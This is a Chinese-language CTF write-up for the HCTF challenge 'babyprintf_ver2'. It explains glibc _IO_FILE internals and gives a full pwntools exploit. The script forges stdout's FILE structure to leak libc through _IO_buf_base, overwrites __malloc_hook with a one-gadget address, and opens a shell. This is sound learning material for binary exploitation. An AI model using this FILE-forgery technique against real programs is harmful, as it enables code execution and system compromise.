在hctf中遇到了这么一个题,也借这个题专门去补了补自己在_IO_FILE这一块知识点的知识。
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,表头为_IO_list_all。而在标准的I/O库中,程序运行就会加载3个文件流stdio、stdout、stderr。而前文说的链表结构就是将这是三个文件流链接起来
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
其外部存在一个_IO_FILE_plus
结构其中包含了_IO_FILE
和IO_jump_t
结构源码如下
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
IO_jump_t
表结构及对应函数fread->_IO_XSGETN
fwrite->_IO_XSPUTN
fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct
fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)
这里的对应函数在常见的FILE利用中会遇到,也就是伪造vtable表这个在ctf-wiki中有很多的介绍这里就不具体说了(下面的方法可以绕过vtable的检查个人觉得很好用,还好理解,当然是在特定题目中)
这里会是我们今天介绍的一个重点,这个字段在_IO_FILE的结构中还是比较重要的,因为不论是read
或者是printf
都会对其有个调用。read
会将读入的字符存在这里,printf则在特定时候会打印这个字符,从而我们可以做一个地址的泄漏和一个任意地址的写操作。
pwndbg> p *(struct _IO_FILE_plus *) stdout
$1 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0<_IO_file_jumps>
}
利用gdb再对照源码可以很清晰的查看_IO_FILE_的结构。
这个题目和2017的那个printf题很对应,可能是同一个师傅出的,这里会对题目进行一个详细的解析,并且主要针对的是改写buf_base的操作。
除了canary基本都开了。。
可以看见程序的大概流程就是,会给我们一个地址,这个地址是我们之后输入的字符串的地址,接下来进行输入,然后对我们的输入进行一个_printf_chk(利用不了格式化字符串漏洞)接下来动态调试下看下输入的地址有什么奇特的地方。
发现我们的输入竟然就在stdout的IO_FILE表指针的下面,这样我们可能会有一个思路就是覆盖指针然后重写_IO_FILE表进行一个利用,而我们的输入是512个字节足够我们去伪造了,这只是大概思路,具体还是会有些困难。
这里因为会有一个_printf_chk函数,他会从buf_base这个地址读取然后打印出来,所以我们可以伪造一个_IO_FILE的buf_base指向一个函数的got表从而泄漏地址
实现地址写也是将我们需要的写的地址放在buf_base这个地址上,这里我们写的是malloc_hook这个指针,因为在prinf调用的时候如果出现错误内部会利用这个函数,因为题目给了libc所以将其写入该地址。
from pwn import *
context.log_level='debug'
e=ELF('./babyprintf_ver2')
#m = e.libc
p=process('./babyprintf_ver2',env={'LD_PRELOAD':'./libc64.so'})
gdb.attach(p)
def get(x):
return p.recvuntil(x)
def put(x):
p.send(x)
get('So I change the buffer location to ')
buf=int(get('\n'),16)
base=buf-0x202010
get('Have fun!')
file = p64(0xfbad2887) + p64(base+0x201FB0) #进行填充,偏移值利用我们所得的地址在ida中看见的pie偏移
file+= p64(buf+0xf0) +p64(buf+0xf0)
file+= p64(buf+0xf0) +p64(buf+0xf8)
file+= p64(buf+0xf0) +p64(base+0x201FB0)
file+= p64(base+0x201FB0+8) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buf+0x200)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buf+0x210) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
put(p64(0xdeadbeef)*2+p64(buf+0x18)+file+'\n')
get('permitted!\n')
libc=u64(get('\x00\x00')) #利用printf进行地址泄漏
base=libc-0x3E82A0 #计算出libc然后急性利用
malloc_hook=base+e.symbols['__malloc_hook']
sleep(0.2)
#由于程序是一个循环所以可以重复利用
file = p64(0xfbad2887) + p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook) #进行一个地址的改写
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook+8) +p64(base+0x201FB0)
file+= p64(base+0x201FB0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buf+0x220)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buf+0x230) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
put(p64(base+0x4f322)*2+p64(buf+0x18)+file+'\n')
put('%s%s%s%s\n')
p.interactive()
个人觉得_IO_FILE在新版的Glibc下应该这个利用是最主流的了,因为在该viable表的时候会检查表的地址的正确性,所以基本只能利用这个方法进行一个利用。写到这里也算是对_IO_FILE有个比较好的理解了。